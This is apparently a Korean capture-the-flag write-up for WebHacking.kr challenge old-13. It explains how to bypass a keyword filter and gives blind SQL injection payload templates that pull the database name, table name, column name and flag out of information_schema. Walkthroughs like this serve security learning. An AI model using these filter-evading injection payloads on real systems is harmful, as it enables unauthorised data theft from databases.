Search

WebHacking.kr Challenge old-13

목표 : Blackbox Blind SQL Injection
SQL Injection을 보여준다.
0을 입력하면 리턴 값이 없고 1은 1을, 나머지 숫자에 대해서는 2를 리턴한다.
FLAG Auth는 password에 인자가 전달된다.
no에는 필터링이 적용돼 있고 password에는 별다른 필터링이 없다.
addslashes가 있는 걸로 유추되고,
공백 and = < > | & 공백 %09 + 0x - * where union group_concat limit
다음은 가능했다.
or ( ) select from in if length database
이정도만 열어놔도 괄호로 공백을 대체하고 or로 앞을 거짓으로 뒤를 if문으로 확인하라는 이야기다

전체 파이썬 코드 (토글)

데이터베이스 이름 길이 및 이름 추출 : chall13

no=(0)or(if(length(database())in({num}),1,0)) no=(0)or(if(ord(substr(database(),1,1))in({char_num}),1,0)) #'c'=99
SQL
복사
이제는 webhacking.kr에 익숙해졌다면 db명은 첫 글자만 구해도 chall13 이라는 걸 예상할 수 있다.

테이블 이름 길이 추출 : 13

if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in({num}),1,0) #길이 = 13
SQL
복사
min을 통해 우선 1개의 테이블 길이를 반환하도록 했다.
group_concat limit이 막혀있는 만큼 한 번에 보고 추출하는 방법은 없어 테이블이 여러개일 경우 방법을 따로 강구해야한다.

테이블 이름 추출

if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),1,1)) from(information_schema.tables))in(str(bin({num}))),1,0) #num = 33-133 #테이블명 = flag_ab733768
SQL
복사
동일한 방식으로 진행한다. hex값이 막혀있어 2진수 값으로 비교했다.

컬럼 이름 길이 추출

if((select(length(min(if((select(table_name)in({table_name_binary_num})),column_name,null)))) from(information_schema.columns))in({num}),1,0)
SQL
복사

컬럼 이름 추출

if((select(substr(min(if((select(table_name)in({table_name_binary_num})),column_name,null)),1,1)) from(information_schema.columns))in(str(bin({num}))),1,0)
SQL
복사

플래그 길이 추출

if((select(length(max({Column_name})))from({DB_name}.{Table_name}))in({num}),1,0)
SQL
복사

플래그 이름 추출

if((select(substr(max({Column_name},1,1)))from({DB_name}.{Table_name}))in(bin({num})),1,0)
SQL
복사

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.